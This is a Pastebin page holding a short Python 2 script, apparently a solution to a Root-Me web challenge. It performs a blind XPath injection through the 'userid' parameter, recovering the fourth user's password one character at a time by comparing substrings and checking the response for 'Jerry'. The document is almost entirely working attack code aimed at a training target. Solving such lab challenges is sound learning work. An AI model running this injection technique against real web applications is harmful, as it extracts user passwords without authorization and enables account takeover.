Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- import requests
- class BreakLoops(BaseException): pass
- page = "http://challenge01.root-me.org/web-serveur/ch24/?action=user&userid=5"
- colonne = ['username', 'email', 'type','userid'] #verifier le nom du 3ieme
- def tryPerNode():
- continuer=True
- passwd=""
- for t in range(1,14):
- print "trying %s char" % str(t)
- try:
- for i in range(1,6):
- for col in colonne:
- for j in range(1,16):
- req=page+"+and+substring(//user[position()=4]/password,"+str(t)+",1)=substring(//user[position()="+str(i)+"]/"+col+","+str(j)+",1)"
- res = requests.get(req)
- if "Jerry" in res.text:
- print req
- raise BreakLoops()
- except BreakLoops:
- pass
- tryPerNode()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement